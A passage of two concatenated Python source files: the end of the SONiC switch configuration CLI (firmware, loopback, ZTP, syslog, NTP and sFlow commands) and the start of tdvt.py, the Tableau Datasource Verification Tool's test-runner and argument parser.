exist".format(profile)) # # 'platform' group ('config platform ...') # @config.group(cls=clicommon.AbbreviationGroup) def platform(): """Platform-related configuration tasks""" # 'firmware' subgroup ("config platform firmware ...") @platform.group(cls=clicommon.AbbreviationGroup) def firmware(): """Firmware configuration tasks""" pass # 'install' subcommand ("config platform firmware install") @firmware.command( context_settings=dict( ignore_unknown_options=True, allow_extra_args=True ), add_help_option=False ) @click.argument('args', nargs=-1, type=click.UNPROCESSED) def install(args): """Install platform firmware""" cmd = "fwutil install {}".format(" ".join(args)) try: subprocess.check_call(cmd, shell=True) except subprocess.CalledProcessError as e: sys.exit(e.returncode) # 'update' subcommand ("config platform firmware update") @firmware.command( context_settings=dict( ignore_unknown_options=True, allow_extra_args=True ), add_help_option=False ) @click.argument('args', nargs=-1, type=click.UNPROCESSED) def update(args): """Update platform firmware""" cmd = "fwutil update {}".format(" ".join(args)) try: subprocess.check_call(cmd, shell=True) except subprocess.CalledProcessError as e: sys.exit(e.returncode) # # 'watermark' group ("show watermark telemetry interval") # @config.group(cls=clicommon.AbbreviationGroup) def watermark(): """Configure watermark """ pass @watermark.group(cls=clicommon.AbbreviationGroup) def telemetry(): """Configure watermark telemetry""" pass @telemetry.command() @click.argument('interval', required=True) def interval(interval): """Configure watermark telemetry interval""" command = 'watermarkcfg --config-interval ' + interval clicommon.run_command(command) # # 'interface_naming_mode' subgroup ('config interface_naming_mode ...') # @config.group(cls=clicommon.AbbreviationGroup, name='interface_naming_mode') def interface_naming_mode(): """Modify interface naming mode for interacting with SONiC CLI""" pass @interface_naming_mode.command('default') def naming_mode_default(): """Set CLI interface naming mode to DEFAULT (SONiC port name)""" set_interface_naming_mode('default') @interface_naming_mode.command('alias') def naming_mode_alias(): """Set CLI interface naming mode to ALIAS (Vendor port alias)""" set_interface_naming_mode('alias') def is_loopback_name_valid(loopback_name): """Loopback name validation """ if loopback_name[:CFG_LOOPBACK_PREFIX_LEN] != CFG_LOOPBACK_PREFIX : return False if (loopback_name[CFG_LOOPBACK_PREFIX_LEN:].isdigit() is False or int(loopback_name[CFG_LOOPBACK_PREFIX_LEN:]) > CFG_LOOPBACK_ID_MAX_VAL) : return False if len(loopback_name) > CFG_LOOPBACK_NAME_TOTAL_LEN_MAX: return False return True # # 'loopback' group ('config loopback ...') # @config.group() @click.pass_context @click.option('-s', '--redis-unix-socket-path', help='unix socket path for redis connection') def loopback(ctx, redis_unix_socket_path): """Loopback-related configuration tasks""" kwargs = {} if redis_unix_socket_path: kwargs['unix_socket_path'] = redis_unix_socket_path config_db = ConfigDBConnector(**kwargs) config_db.connect(wait_for_init=False) ctx.obj = {'db': config_db} @loopback.command('add') @click.argument('loopback_name', metavar='<loopback_name>', required=True) @click.pass_context def add_loopback(ctx, loopback_name): config_db = ctx.obj['db'] if is_loopback_name_valid(loopback_name) is False: ctx.fail("{} is invalid, name should have prefix '{}' and suffix '{}' " .format(loopback_name, CFG_LOOPBACK_PREFIX, CFG_LOOPBACK_NO)) lo_intfs = [k for k, v in config_db.get_table('LOOPBACK_INTERFACE').items() if type(k) != tuple] if loopback_name in lo_intfs: ctx.fail("{} already exists".format(loopback_name)) config_db.set_entry('LOOPBACK_INTERFACE', loopback_name, {"NULL" : "NULL"}) @loopback.command('del') @click.argument('loopback_name', metavar='<loopback_name>', required=True) @click.pass_context def del_loopback(ctx, loopback_name): config_db = ctx.obj['db'] if is_loopback_name_valid(loopback_name) is False: ctx.fail("{} is invalid, name should have prefix '{}' and suffix '{}' " .format(loopback_name, CFG_LOOPBACK_PREFIX, CFG_LOOPBACK_NO)) lo_config_db = config_db.get_table('LOOPBACK_INTERFACE') lo_intfs = [k for k, v in lo_config_db.items() if type(k) != tuple] if loopback_name not in lo_intfs: ctx.fail("{} does not exists".format(loopback_name)) ips = [ k[1] for k in lo_config_db if type(k) == tuple and k[0] == loopback_name ] for ip in ips: config_db.set_entry('LOOPBACK_INTERFACE', (loopback_name, ip), None) config_db.set_entry('LOOPBACK_INTERFACE', loopback_name, None) @config.group(cls=clicommon.AbbreviationGroup) def ztp(): """ Configure Zero Touch Provisioning """ if os.path.isfile('/usr/bin/ztp') is False: exit("ZTP feature unavailable in this image version") if os.geteuid() != 0: exit("Root privileges are required for this operation") @ztp.command() @click.option('-y', '--yes', is_flag=True, callback=_abort_if_false, expose_value=False, prompt='ZTP will be restarted. You may lose switch data and connectivity, continue?') @click.argument('run', required=False, type=click.Choice(["run"])) def run(run): """Restart ZTP of the device.""" command = "ztp run -y" clicommon.run_command(command, display_cmd=True) @ztp.command() @click.option('-y', '--yes', is_flag=True, callback=_abort_if_false, expose_value=False, prompt='Active ZTP session will be stopped and disabled, continue?') @click.argument('disable', required=False, type=click.Choice(["disable"])) def disable(disable): """Administratively Disable ZTP.""" command = "ztp disable -y" clicommon.run_command(command, display_cmd=True) @ztp.command() @click.argument('enable', required=False, type=click.Choice(["enable"])) def enable(enable): """Administratively Enable ZTP.""" command = "ztp enable" clicommon.run_command(command, display_cmd=True) # # 'syslog' group ('config syslog ...') # @config.group(cls=clicommon.AbbreviationGroup, name='syslog') @click.pass_context def syslog_group(ctx): """Syslog server configuration tasks""" config_db = ConfigDBConnector() config_db.connect() ctx.obj = {'db': config_db} @syslog_group.command('add') @click.argument('syslog_ip_address', metavar='<syslog_ip_address>', required=True) @click.pass_context def add_syslog_server(ctx, syslog_ip_address): """ Add syslog server IP """ if not clicommon.is_ipaddress(syslog_ip_address): ctx.fail('Invalid ip address') db = ctx.obj['db'] syslog_servers = db.get_table("SYSLOG_SERVER") if syslog_ip_address in syslog_servers: click.echo("Syslog server {} is already configured".format(syslog_ip_address)) return else: db.set_entry('SYSLOG_SERVER', syslog_ip_address, {'NULL': 'NULL'}) click.echo("Syslog server {} added to configuration".format(syslog_ip_address)) try: click.echo("Restarting rsyslog-config service...") clicommon.run_command("systemctl restart rsyslog-config", display_cmd=False) except SystemExit as e: ctx.fail("Restart service rsyslog-config failed with error {}".format(e)) @syslog_group.command('del') @click.argument('syslog_ip_address', metavar='<syslog_ip_address>', required=True) @click.pass_context def del_syslog_server(ctx, syslog_ip_address): """ Delete syslog server IP """ if not clicommon.is_ipaddress(syslog_ip_address): ctx.fail('Invalid IP address') db = ctx.obj['db'] syslog_servers = db.get_table("SYSLOG_SERVER") if syslog_ip_address in syslog_servers: db.set_entry('SYSLOG_SERVER', '{}'.format(syslog_ip_address), None) click.echo("Syslog server {} removed from configuration".format(syslog_ip_address)) else: ctx.fail("Syslog server {} is not configured.".format(syslog_ip_address)) try: click.echo("Restarting rsyslog-config service...") clicommon.run_command("systemctl restart rsyslog-config", display_cmd=False) except SystemExit as e: ctx.fail("Restart service rsyslog-config failed with error {}".format(e)) # # 'ntp' group ('config ntp ...') # @config.group(cls=clicommon.AbbreviationGroup) @click.pass_context def ntp(ctx): """NTP server configuration tasks""" config_db = ConfigDBConnector() config_db.connect() ctx.obj = {'db': config_db} @ntp.command('add') @click.argument('ntp_ip_address', metavar='<ntp_ip_address>', required=True) @click.pass_context def add_ntp_server(ctx, ntp_ip_address): """ Add NTP server IP """ if not clicommon.is_ipaddress(ntp_ip_address): ctx.fail('Invalid ip address') db = ctx.obj['db'] ntp_servers = db.get_table("NTP_SERVER") if ntp_ip_address in ntp_servers: click.echo("NTP server {} is already configured".format(ntp_ip_address)) return else: db.set_entry('NTP_SERVER', ntp_ip_address, {'NULL': 'NULL'}) click.echo("NTP server {} added to configuration".format(ntp_ip_address)) try: click.echo("Restarting ntp-config service...") clicommon.run_command("systemctl restart ntp-config", display_cmd=False) except SystemExit as e: ctx.fail("Restart service ntp-config failed with error {}".format(e)) @ntp.command('del') @click.argument('ntp_ip_address', metavar='<ntp_ip_address>', required=True) @click.pass_context def del_ntp_server(ctx, ntp_ip_address): """ Delete NTP server IP """ if not clicommon.is_ipaddress(ntp_ip_address): ctx.fail('Invalid IP address') db = ctx.obj['db'] ntp_servers = db.get_table("NTP_SERVER") if ntp_ip_address in ntp_servers: db.set_entry('NTP_SERVER', '{}'.format(ntp_ip_address), None) click.echo("NTP server {} removed from configuration".format(ntp_ip_address)) else: ctx.fail("NTP server {} is not configured.".format(ntp_ip_address)) try: click.echo("Restarting ntp-config service...") clicommon.run_command("systemctl restart ntp-config", display_cmd=False) except SystemExit as e: ctx.fail("Restart service ntp-config failed with error {}".format(e)) # # 'sflow' group ('config sflow ...') # @config.group(cls=clicommon.AbbreviationGroup) @click.pass_context def sflow(ctx): """sFlow-related configuration tasks""" config_db = ConfigDBConnector() config_db.connect() ctx.obj = {'db': config_db} # # 'sflow' command ('config sflow enable') # @sflow.command() @click.pass_context def enable(ctx): """Enable sFlow""" config_db = ctx.obj['db'] sflow_tbl = config_db.get_table('SFLOW') if not sflow_tbl: sflow_tbl = {'global': {'admin_state': 'up'}} else: sflow_tbl['global']['admin_state'] = 'up' config_db.mod_entry('SFLOW', 'global', sflow_tbl['global']) try: proc = subprocess.Popen("systemctl is-active sflow", shell=True, text=True, stdout=subprocess.PIPE) (out, err) = proc.communicate() except SystemExit as e: ctx.fail("Unable to check sflow status {}".format(e)) if out != "active": log.log_info("sflow service is not enabled. Starting sflow docker...") clicommon.run_command("sudo systemctl enable sflow") clicommon.run_command("sudo systemctl start sflow") # # 'sflow' command ('config sflow disable') # @sflow.command() @click.pass_context def disable(ctx): """Disable sFlow""" config_db = ctx.obj['db'] sflow_tbl = config_db.get_table('SFLOW') if not sflow_tbl: sflow_tbl = {'global': {'admin_state': 'down'}} else: sflow_tbl['global']['admin_state'] = 'down' config_db.mod_entry('SFLOW', 'global', sflow_tbl['global']) # # 'sflow' command ('config sflow polling-interval ...') # @sflow.command('polling-interval') @click.argument('interval', metavar='<polling_interval>', required=True, type=int) @click.pass_context def polling_int(ctx, interval): """Set polling-interval for counter-sampling (0 to disable)""" if interval not in range(5, 301) and interval != 0: click.echo("Polling interval must be between 5-300 (0 to disable)") config_db = ctx.obj['db'] sflow_tbl = config_db.get_table('SFLOW') if not sflow_tbl: sflow_tbl = {'global': {'admin_state': 'down'}} sflow_tbl['global']['polling_interval'] = interval config_db.mod_entry('SFLOW', 'global', sflow_tbl['global']) def is_valid_sample_rate(rate): return rate in range(256, 8388608 + 1) # # 'sflow interface' group # @sflow.group(cls=clicommon.AbbreviationGroup) @click.pass_context def interface(ctx): """Configure sFlow settings for an interface""" pass # # 'sflow' command ('config sflow interface enable ...') # @interface.command() @click.argument('ifname', metavar='<interface_name>', required=True, type=str) @click.pass_context def enable(ctx, ifname): config_db = ctx.obj['db'] if not interface_name_is_valid(config_db, ifname) and ifname != 'all': click.echo("Invalid interface name") return intf_dict = config_db.get_table('SFLOW_SESSION') if intf_dict and ifname in intf_dict: intf_dict[ifname]['admin_state'] = 'up' config_db.mod_entry('SFLOW_SESSION', ifname, intf_dict[ifname]) else: config_db.mod_entry('SFLOW_SESSION', ifname, {'admin_state': 'up'}) # # 'sflow' command ('config sflow interface disable ...') # @interface.command() @click.argument('ifname', metavar='<interface_name>', required=True, type=str) @click.pass_context def disable(ctx, ifname): config_db = ctx.obj['db'] if not interface_name_is_valid(config_db, ifname) and ifname != 'all': click.echo("Invalid interface name") return intf_dict = config_db.get_table('SFLOW_SESSION') if intf_dict and ifname in intf_dict: intf_dict[ifname]['admin_state'] = 'down' config_db.mod_entry('SFLOW_SESSION', ifname, intf_dict[ifname]) else: config_db.mod_entry('SFLOW_SESSION', ifname, {'admin_state': 'down'}) # # 'sflow' command ('config sflow interface sample-rate ...') # @interface.command('sample-rate') @click.argument('ifname', metavar='<interface_name>', required=True, type=str) @click.argument('rate', metavar='<sample_rate>', required=True, type=int) @click.pass_context def sample_rate(ctx, ifname, rate): config_db = ctx.obj['db'] if not interface_name_is_valid(config_db, ifname) and ifname != 'all': click.echo('Invalid interface name') return if not is_valid_sample_rate(rate): click.echo('Error: Sample rate must be between 256 and 8388608') return sess_dict = config_db.get_table('SFLOW_SESSION') if sess_dict and ifname in sess_dict: sess_dict[ifname]['sample_rate'] = rate config_db.mod_entry('SFLOW_SESSION', ifname, sess_dict[ifname]) else: config_db.mod_entry('SFLOW_SESSION', ifname, {'sample_rate': rate}) # # 'sflow collector' group # @sflow.group(cls=clicommon.AbbreviationGroup) @click.pass_context def collector(ctx): """Add/Delete a sFlow collector""" pass def is_valid_collector_info(name, ip, port, vrf_name): if len(name) > 16: click.echo("Collector name must not exceed 16 characters") return False if port not in range(0, 65535 + 1): click.echo("Collector port number must be between 0 and 65535") return False if not clicommon.is_ipaddress(ip): click.echo("Invalid IP address") return False if vrf_name != 'default' and vrf_name != 'mgmt': click.echo("Only 'default' and 'mgmt' VRF are supported") return False return True # # 'sflow' command ('config sflow collector add ...') # @collector.command() @click.option('--port', required=False, type=int, default=6343, help='Collector port number') @click.option('--vrf', required=False, type=str, default='default', help='Collector VRF') @click.argument('name', metavar='<collector_name>', required=True) @click.argument('ipaddr', metavar='<IPv4/v6_address>', required=True) @click.pass_context def add(ctx, name, ipaddr, port, vrf): """Add a sFlow collector""" ipaddr = ipaddr.lower() if not is_valid_collector_info(name, ipaddr, port, vrf): return config_db = ctx.obj['db'] collector_tbl = config_db.get_table('SFLOW_COLLECTOR') if (collector_tbl and name not in collector_tbl and len(collector_tbl) == 2): click.echo("Only 2 collectors can be configured, please delete one") return config_db.mod_entry('SFLOW_COLLECTOR', name, {"collector_ip": ipaddr, "collector_port": port, "collector_vrf": vrf}) return # # 'sflow' command ('config sflow collector del ...') # @collector.command('del') @click.argument('name', metavar='<collector_name>', required=True) @click.pass_context def del_collector(ctx, name): """Delete a sFlow collector""" config_db = ctx.obj['db'] collector_tbl = config_db.get_table('SFLOW_COLLECTOR') if name not in collector_tbl: click.echo("Collector: {} not configured".format(name)) return config_db.mod_entry('SFLOW_COLLECTOR', name, None) # # 'sflow agent-id' group # @sflow.group(cls=clicommon.AbbreviationGroup, name='agent-id') @click.pass_context def agent_id(ctx): """Add/Delete a sFlow agent""" pass # # 'sflow' command ('config sflow agent-id add ...') # @agent_id.command() @click.argument('ifname', metavar='<interface_name>', required=True) @click.pass_context def add(ctx, ifname): """Add sFlow agent information""" if ifname not in netifaces.interfaces(): click.echo("Invalid interface name") return config_db = ctx.obj['db'] sflow_tbl = config_db.get_table('SFLOW') if not sflow_tbl: sflow_tbl = {'global': {'admin_state': 'down'}} if 'agent_id' in sflow_tbl['global']: click.echo("Agent already configured. Please delete it first.") return sflow_tbl['global']['agent_id'] = ifname config_db.mod_entry('SFLOW', 'global', sflow_tbl['global']) # # 'sflow' command ('config sflow agent-id del') # @agent_id.command('del') @click.pass_context def delete(ctx): """Delete sFlow agent information""" config_db = ctx.obj['db'] sflow_tbl = config_db.get_table('SFLOW') if not sflow_tbl: sflow_tbl = {'global': {'admin_state': 'down'}} if 'agent_id' not in sflow_tbl['global']: click.echo("sFlow agent not configured.") return sflow_tbl['global'].pop('agent_id') config_db.set_entry('SFLOW', 'global', sflow_tbl['global']) if __name__ == '__main__': config()
tdvt.py
""" Test driver script for the Tableau Datasource Verification Tool """ import sys if sys.version_info[0] < 3: raise EnvironmentError("TDVT requires Python 3 or greater.") import argparse import csv import glob import json import pathlib import os import queue import shutil import threading import time import zipfile from pathlib import Path from typing import List, Optional, Tuple, Union from .config_gen.datasource_list import print_ds, print_configurations, print_logical_configurations from .config_gen.tdvtconfig import TdvtInvocation from .config_gen.test_config import TestSet, SingleLogicalTestSet, SingleExpressionTestSet, FileTestSet, TestConfig, RunTimeTestConfig from .setup_env import create_test_environment, add_datasource from .tabquery import * from .tdvt_core import generate_files, run_diff, run_tests, run_connectors_test_core from .version import __version__ # This contains the dictionary of configs you can run. from .config_gen.datasource_list import WindowsRegistry, MacRegistry, LinuxRegistry class TestOutputFiles(object): output_actuals = 'tdvt_actuals_combined.zip' output_tabquery_log = 'tabquery_logs.zip' output_csv = "test_results_combined.csv" output_json = "tdvt_output_combined.json" all_output_files = [output_actuals, output_csv, output_json, output_tabquery_log] combined_output = [] @classmethod def copy_output_file(c, src_name, src_dir): src = os.path.join(src_dir, src_name) logging.debug("Copying {0} to output".format(src)) try: with open(src, 'r', encoding='utf8') as src_file: reader = csv.DictReader(src_file, dialect='tdvt') for row in reader: c.combined_output.append(row) except IOError as e: logging.debug("Exception while copying files: " + str(e)) return @classmethod def write_test_results_csv(c, custom_output_dir: str=''): if not c.combined_output: logging.debug("write_test_results_csv called with no test output") return logging.debug("Copying output to {0}".format(c.output_csv)) # Sort combined_output on the number of distinct functions (order of complexity) sort_by_complexity = lambda row: len(row['Functions'].split(',')) try: c.combined_output.sort(key=sort_by_complexity) except KeyError as e: logging.debug("Tried to sort output on a key that doesn't exist. Leaving output unsorted.") dst = os.path.join(os.getcwd(), c.output_csv) if custom_output_dir != '': dst = os.path.join(Path(custom_output_dir), c.output_csv) try: dst_exists = os.path.isfile(dst) with open(dst, 'w', encoding='utf8') as dst_file: writer = csv.DictWriter(dst_file, fieldnames=c.combined_output[0], dialect='tdvt', quoting=csv.QUOTE_MINIMAL) writer.writeheader() for row in c.combined_output: writer.writerow(row) except IOError as e: logging.debug("Exception while writing to file: " + str(e)) return def do_test_queue_work(i, q): """This will be called in a queue.join() context, so make sure to mark all work items as done and continue through the loop. Don't try and exit or return from here if there are still work items in the queue. See the python queue documentation.""" abort_test_run = False while True: # This blocks if the queue is empty. work = q.get() work.run() q.task_done() class TestRunner(): def __init__(self, test_set: TestSet, test_config: TdvtInvocation, lock, verbose, thread_id): threading.Thread.__init__(self) self.test_set = test_set self.test_config = test_config self.error_code = 0 self.thread_id = thread_id self.verbose = verbose self.thread_lock = lock self.temp_dir = make_temp_dir([self.test_config.suite_name, str(thread_id)]) self.test_config.output_dir = self.temp_dir def copy_files_to_zip(self, dst_file_name, src_dir, is_logs): dst = os.path.join(os.getcwd(), dst_file_name) custom_dir = self.test_config.custom_output_dir if custom_dir != '': dst = os.path.join(custom_dir, dst_file_name) mode = 'w' if not os.path.isfile(dst) else 'a' optional_dir_name = self.test_config.config_file.replace('.', '_') if is_logs is True: log_dir = os.path.join(src_dir, optional_dir_name) glob_path = glob.glob(os.path.join(log_dir, '*.txt')) glob_path.extend(glob.glob(os.path.join(log_dir, '*.log'))) glob_path.extend(glob.glob(os.path.join(log_dir, 'crashdumps/*'))) else: glob_path = glob.glob(os.path.join(src_dir, 'actual.*')) with zipfile.ZipFile(dst, mode, zipfile.ZIP_DEFLATED) as myzip: for actual in glob_path: path = pathlib.PurePath(actual) file_to_be_zipped = path.name inner_output = os.path.join(optional_dir_name, file_to_be_zipped) myzip.write(actual, inner_output) def copy_output_files(self): TestOutputFiles.copy_output_file("test_results.csv", self.temp_dir) def copy_test_result_file(self): src = os.path.join(self.temp_dir, "tdvt_output.json") dst = os.path.join(os.getcwd(), TestOutputFiles.output_json) custom_dir = self.test_config.custom_output_dir if custom_dir != '': dst = os.path.join(custom_dir, TestOutputFiles.output_json) try: if not os.path.isfile(dst): shutil.copyfile(src, dst) else: src_file = open(src, 'r', encoding='utf8') results = json.load(src_file) src_file.close() dst_file = open(dst, 'r', encoding='utf8') existing_results = json.load(dst_file) dst_file.close() existing_results['failed_tests'].extend(results['failed_tests']) existing_results['successful_tests'].extend(results['successful_tests']) existing_results['skipped_tests'].extend(results['skipped_tests']) existing_results['disabled_tests'].extend(results['disabled_tests']) # Check the newly succeeding tests, and if they are in the existing failed # test list, remove them from the failed test list since they now succeed for element in results['successful_tests']: for failed in existing_results['failed_tests']: if element['test_name'] == failed['test_name']: existing_results['failed_tests'].remove(failed) dst_file = open(dst, 'w', encoding='utf8') json.dump(existing_results, dst_file) dst_file.close() except IOError: return def copy_files_and_cleanup(self): left_temp_dir = False try: self.copy_files_to_zip(TestOutputFiles.output_actuals, self.temp_dir, is_logs=False) self.copy_files_to_zip(TestOutputFiles.output_tabquery_log, self.temp_dir, is_logs=True) self.copy_output_files() self.copy_test_result_file() except Exception as e: print(e) pass try: if not self.test_config.leave_temp_dir: shutil.rmtree(self.temp_dir) else: left_temp_dir = True except: pass return left_temp_dir def run(self): # Send output to null. DEVNULL = open(os.devnull, 'wb') output = DEVNULL if not self.verbose else None logging.debug("\nRunning tdvt " + str(self.test_config) + " tdvt thread id: " + str(self.thread_id) + "\n") print("Running {0} {1} {2}\n".format(self.test_config.suite_name, self.test_config.config_file, str(self.thread_id))) start_time = time.time() self.test_config.thread_id = self.thread_id failed_tests, skipped_tests, disabled_tests, total_tests = run_tests(self.test_config, self.test_set) logging.debug("\nFinished tdvt " + str(self.test_config) + "\n") print("\nFinished {0} {1} {2}\n".format(self.test_config.suite_name, self.test_config.config_file, str(self.thread_id))) self.failed_tests = failed_tests self.skipped_tests = skipped_tests self.disabled_tests = disabled_tests self.total_tests = total_tests def delete_output_files(root_dir): for f in TestOutputFiles.all_output_files: out_file = os.path.join(root_dir, f) for f in glob.glob(out_file): if os.path.exists(out_file): try: os.unlink(out_file) except Exception as e: print(e) continue def get_datasource_registry(platform): """Get the datasources to run based on the suite parameter.""" if sys.platform.startswith("darwin"): reg = MacRegistry() elif sys.platform.startswith("linux"): reg = LinuxRegistry() else: reg = WindowsRegistry() return reg def enqueue_single_test(args, ds_info: TestConfig, suite) -> Union[Tuple[None, None], Tuple[Union[SingleLogicalTestSet, SingleExpressionTestSet], TdvtInvocation]]: # noqa: E501 if not args.command == 'run-pattern' or not args.tds_pattern or (args.logical_pattern and args.expression_pattern): return None, None test_set = None if args.logical_pattern: test_set = SingleLogicalTestSet(suite, get_root_dir(), args.logical_pattern, args.tds_pattern, args.test_pattern_exclude, ds_info) else: test_set = SingleExpressionTestSet(suite, get_root_dir(), args.expression_pattern, args.tds_pattern, args.test_pattern_exclude, ds_info) #Only try and run tests if there are some. if not test_set.generate_test_file_list(): return None, None tdvt_invocation = TdvtInvocation(from_args=args, test_config=ds_info) tdvt_invocation.tds = test_set.tds_name tdvt_invocation.logical = test_set.is_logical tdvt_invocation.config_file = test_set.config_name return test_set, tdvt_invocation def enqueue_failed_tests(run_file: Path, root_directory, args, rt: RunTimeTestConfig = None): try: with run_file.open('r', encoding='utf8') as file: tests = json.load(file) except IOError as e: logging.error("Error opening " + str(run_file) + " error: " + str(e)) return delete_output_files(os.getcwd()) all_test_configs = {} all_tdvt_test_configs = {} all_test_pairs = [] failed_tests = tests['failed_tests'] # Go through the failed tests and group the ones that can be run together in a FileTestSet. for f in failed_tests: test_file_path = f['test_file'] expected_message = f['expected_message'] if 'expected_message' in f else '' test_root_dir = root_directory tds_base = os.path.split(f['tds'])[1] tds = get_tds_full_path(root_directory, tds_base) logging.debug("Found failed test: " + test_file_path + " and tds " + tds) tdvt_invocation = TdvtInvocation(from_json=f['test_config']) if rt: tdvt_invocation.set_run_time_test_config(rt) tdvt_invocation.tds = tds tdvt_invocation.leave_temp_dir = is_test(args) and args.noclean if args else False suite_name = f['test_config']['suite_name'] password_file = f['password_file'] if 'password_file' in f else '' # Use a hash of the test file path to distinguish unique test runs (since the config only supports one test path). # other wise two tests with the same name could show up and the first result file would overwrite the second. tt = "L" if tdvt_invocation.logical else "E" test_set_unique_id = hashlib.sha224( (os.path.split(test_file_path)[0] + "_" + tds_base + "_" + tt).replace("-", "_").encode()) test_set_unique_id = test_set_unique_id.hexdigest() test_set_config = None if not suite_name in all_test_configs: all_test_configs[suite_name] = {} if not test_set_unique_id in all_test_configs[suite_name]: tdvt_invocation.output_dir = make_temp_dir([test_set_unique_id]) all_tdvt_test_configs[test_set_unique_id] = tdvt_invocation run_time_config = RunTimeTestConfig(60*60, 1) test_set_config = TestConfig(suite_name, '', run_time_config) all_test_configs[suite_name][test_set_unique_id] = test_set_config else: test_set_config = all_test_configs[suite_name][test_set_unique_id] current_test_set = None if tdvt_invocation.logical: current_test_set = test_set_config.get_logical_tests(test_set_unique_id) else: current_test_set = test_set_config.get_expression_tests(test_set_unique_id) if current_test_set and len(current_test_set) == 1: current_test_set = current_test_set[0] if not current_test_set: current_test_set = FileTestSet(suite_name, test_root_dir, test_set_unique_id, tds, tdvt_invocation.logical, suite_name, password_file, expected_message) if tdvt_invocation.logical: test_set_config.add_logical_testset(current_test_set) else: test_set_config.add_expression_testset(current_test_set) current_test_set.append_test_file(test_file_path) for suite_names in all_test_configs: for test_set_id in all_test_configs[suite_names]: test_set_config = all_test_configs[suite_names][test_set_id] for each_test_set in test_set_config.get_logical_tests() + test_set_config.get_expression_tests(): tdvt_invocation = all_tdvt_test_configs[test_set_id] all_test_pairs.append((each_test_set, tdvt_invocation)) logging.debug("Queuing up tests: " + str(tdvt_invocation)) return all_test_pairs def enqueue_tests(ds_info, args, suite): tests = [] test_set_configs = [] if not is_test(args): return test_set_configs logging.debug("Enqueing tests for " + ds_info.dsname) if args.logical_only or args.expression_only: if args.logical_only: tests.extend(ds_info.get_logical_tests(args.logical_only)) if args.expression_only: tests.extend(ds_info.get_expression_tests(args.expression_only)) else: tests.extend(ds_info.get_logical_tests(args.logical_only)) tests.extend(ds_info.get_expression_tests(args.expression_only)) # Make sure there are tests. if not tests: logging.error("No tests found") return test_set_configs for x in tests: if not x.generate_test_file_list(): logging.error("No tests found for config " + str(x)) return test_set_configs for test_set in tests: tdvt_invocation = TdvtInvocation(from_args=args, test_config = ds_info) tdvt_invocation.logical = test_set.is_logical_test() tdvt_invocation.tds = test_set.tds_name tdvt_invocation.config_file = test_set.config_name test_set_configs.append((test_set, tdvt_invocation)) return test_set_configs def get_level_of_parallelization(args): # This indicates how many database/test suite combinations to run at once max_threads = 6 if is_test(args) and args.thread_count: max_threads = args.thread_count max_threads = get_max_process_level_of_parallelization(max_threads) print("Setting tdvt thread count to: " + str(max_threads)) return max_threads list_usage_text = ''' Show all test suites or list the contents of a specific suite. ''' list_logical_usage_text = ''' Show logical configs. The argument can be empty to list all, or you can specify a config by name. ''' run_usage_text = ''' The 'run' argument can take a single datasource, a list of data sources, or a test suite name in any combination. run postgres_odbc,postgres_jdbc The 'run' argument can also take the --verify flag to run a connection test against tests with SmokeTest = True set. run postgres_odbc --verify Both logical and expression tests are run by default. Run all expression tests run postgres_odbc -e Run all logical tests run postgres_odbc -q There are multiple suites of expression tests, for example, standard and LOD (level of detail). The config files that drive the tests are named expression_test.sqlserver.cfg and expression.lod.sqlserver.cfg. To run just one of those try entering part of the config name as an argument: run postgres_odbc -e lod ''' run_pattern_usage_text = ''' Run one expression test against many datasources run-pattern postgres_odbc --exp exprtests/standard/setup.date.datepart.second*.txt --tdp cast_calcs.*.tds Run one logical query test against many datasources run-pattern postgres_odbc --logp logicaltests/setup/calcs/setup.BUGS.B1713.?.xml --tdp cast_calcs.*.tds The 'exp' argument is a glob pattern that is used to find the test file using the relative test path. The 'test-ex' argument can be used to exclude test files. This is a regular expression pattern. The tds pattern is used to find the tds. Use a '*' character where the tds name will be substituted, ie cast_calcs.*.tds This can be combined with * to run an arbitrary set of 'correct' logical query tests against a datasources run-pattern postgres_odbc --logp logicaltests/setup/calcs/setup.BUGS.*.?.xml --tdp cast_calcs.*.tds Alternatively run-pattern postgres_odbc --logp logicaltests/setup/calcs/setup.BUGS.*.dbo.xml --tdp cast_calcs.*.tds But skip 59740? run-pattern postgres_odbc --logp logicaltests/setup/calcs/setup.BUGS.*.dbo.xml --tdp cast_calcs.*.tds --test-ex 59740 ''' run_connectors_test_usage_text = ''' The commands below can be used to run the connectors tests. 'filename.xml' in the below commands is the path of the xml test file used to run the tests. 'passwordfilepath.password' in the below commands is the path of the password file used for the ServerVersionTest. Run ConnectionBuilderTest run-connectors-test --conn-test connectionBuilder --conn-test-file filepath.xml Run NormalizeConnectionAttributes Test run-connectors-test --conn-test normalizeConnectionAttributes --conn-test-file filepath.xml Run MatchesConnectionAttributesTest run-connectors-test --conn-test matchesConnectionAttributes --conn-test-file filepath.xml Run PropertiesBuilderTest run-connectors-test --conn-test propertiesBuilder --conn-test-file filepath.xml Run ServerVersionTest run-connectors-test --conn-test serverVersion --conn-test-file filepath.xml --conn-test-password-file passwordfilepath.password ''' action_usage_text = ''' ''' run_file_usage_text = ''' ''' def create_parser(): parser = argparse.ArgumentParser(description='TDVT - Tableau Datasource Verification Tool.') parser.add_argument('--verbose', dest='verbose', action='store_true', help='Verbose output.', required=False) #Common run test options. run_test_common_parser = argparse.ArgumentParser(description='Common test run options.', add_help=False) run_test_common_parser.add_argument('--threads', '-t', dest='thread_count', type=int, help='Max number of threads to use.', required=False) run_test_common_parser.add_argument('--no-clean', dest='noclean', action='store_true', help='Leave temp dirs.', required=False) run_test_common_parser.add_argument('--generate', dest='generate', action='store_true', help='Generate logical query test files.', required=False) run_test_common_parser.add_argument('--compare-sql', dest='compare_sql', action='store_true', help='Compare SQL.', required=False) run_test_common_parser.add_argument('--nocompare-tuples', dest='nocompare_tuples', action='store_true', help='Do not compare Tuples.', required=False) run_test_common_parser.add_argument('--compare-error', dest='compare_error', action='store_true', help='Compare error.', required=False) run_test_common_parser.add_argument('--output-dir', '-o', dest='custom_output_dir', help='Writes log files to a specified directory. The directory must exist.', required=False, default=None, const='*', nargs='?') subparsers = parser.add_subparsers(help='commands', dest='command') #Get information. list_parser = subparsers.add_parser('list', help='List information about datasource tests and suites.', usage=list_usage_text) list_parser.add_argument(dest='list_ds', help='List datasource config.', default='', nargs='?') list_logical_parser = subparsers.add_parser('list-logical-configs', help='List information about logical configurations.', usage=list_logical_usage_text) list_logical_parser.add_argument(dest='list_logical_configs', help='List available logical configs.', default='', nargs='?') #Actions. action_group = subparsers.add_parser('action', help='Various non-test actions.', usage=action_usage_text) action_group.add_argument('--setup', dest='setup', action='store_true', help='Create setup directory structure.', required=False) action_group.add_argument('--add_ds', dest='add_ds', help='Add a new datasource.', required=False) action_group.add_argument('--diff-test', '-dd', dest='diff', help='Diff the results of the given test (ie 